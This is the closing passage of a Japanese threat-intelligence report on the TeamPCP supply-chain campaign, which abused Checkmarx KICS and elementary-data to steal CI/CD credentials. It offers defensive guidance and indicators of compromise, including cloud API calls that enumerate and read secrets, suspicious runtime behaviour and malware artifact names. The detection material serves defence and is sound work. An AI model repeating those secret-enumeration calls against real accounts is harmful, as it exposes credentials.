- 想定外の場所にBunのバイナリが作られている。
- CIランナーのプリンシパルからGitHubのコミット検索APIが呼び出されている。
- 「Secrets Manager」に本来アクセスする必要のないCI/データパイプライン用 IAM ロールから、API「secretsmanager:ListSecrets」や「secretsmanager:GetSecretValue」、「ssm:DescribeParameters」が呼び出されている。こうしたイベントは、「CloudTrail」の記録から確認できる。
防御担当者の方へ:本稿に記載したC&Cインフラを、ネットワーク境界でブロックしてください。CIエージェント環境では、Bunの実行を捕えるため、挙動ベースの検知を有効化してください。Pythonインタプリタの子プロセスが起動直後に外向きHTTPS通信を始めるケースも、アラート対象に含めてください。また、今回の攻撃者による独自の通信ヘッダーは、精度の高い検知シグナルとなりますので、ネットワーク監視の対象に含めることを推奨します。
意思決定者の方へ:今回挙げた両事例とも、開発者の間で利用されるツール群の信頼関係に付け入ったものです。Checkmarxの公式リポジトリから取得したDockerイメージ、プロジェクト自身のCIで署名されたPyPIパッケージのように、本来「信頼できる」はずのものが、攻撃の経路になりました。TeamPCPが次にどのプロジェクトを狙うにしても、根本的な対策は、Dockerイメージを暗号学的なダイジェストで固定し、CIランナーの外向き通信に制限をかけることです。elementary-dataの事例からうかがえる問題点は、GitHubのイベントデータをサニタイズなしでシェルコマンドに埋め込むワークフローが存在していることです。それがために、わずか一つのプルリクエストコメントが攻撃の決定打になってしまいました。
インシデント対応担当者の方へ:開発者のワークステーションやCIランナー上で「pip freeze」の出力やロックファイルを確認し、「elementary-data==0.23.3」が入っているホストを優先的に切り分けてください。コンテナイメージのマニフェストについても、末尾の節「侵入の痕跡」に記載した不正なバージョンのダイジェストと照合してください。KICSの事例に関与したマルウェアには、C&Cのフォールバック機構が組み込まれているため、現時点のC&C IPをブロックしただけでは、安全と言い切れません。また、CIエージェントからGitHubのコミット検索APIが呼び出されているケースも、検査してください。さらに、影響を受けたホストを初期化する前に、「.trinny-security-update」や「trin.tar.gz」といった痕跡を保全しておくことも、重要です。
TrendAI Vision One™ Threat Intelligence Hub
「TrendAI Vision One™」の「Threat Intelligence Hub」は、新たな脅威や攻撃者に関する最新情報、「TrendAI™ Research」による独自の戦略レポート、そして「TrendAI Vision One™ - Threat Intelligence Feed」を提供します。
Emerging Threats(高まる脅威)TeamPCP Supply Chain Campaign: Checkmarx KICS Compromise and Bitwarden CLI Hijack(「TeamPCP」によるサプライチェーン攻撃:CI/CDからの認証情報窃取に「Checkmarx KICS」と「elementary-data」を悪用)
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
TeamPCP Supply Chain Campaign: Checkmarx KICS Compromise and Bitwarden CLI Hijack(「TeamPCP」によるサプライチェーン攻撃:CI/CDからの認証情報窃取に「Checkmarx KICS」と「elementary-data」を悪用)
MITRE ATT&CKとの対応
両事例で確認された攻撃手段をMITRE ATT&CKに紐づけた結果を、こちらの表に示します。なお、現時点では完全なものではなく、特に永続化(Persistence)、水平移動・内部活動(Lateral Movement)、探索(Discovery)については、追加の分析対象としております。
表2:KICSとelementary-dataを狙ってTeamPCPが行使した手口をMITRE ATT&CKに基づいて整理
侵入の痕跡(IoC:Indicators of Compromise)
本事例に関連するIoCについて、こちらからご参照いただけます。
参考記事
Analyzing TeamPCP’s Supply Chain Attacks: Checkmarx KICS and elementary-data in CI/CD Credential Theft
By: Jacob Santos, John Rainier Navato
翻訳:清水 浩平(Platform Marketing, Trend Micro™ Research)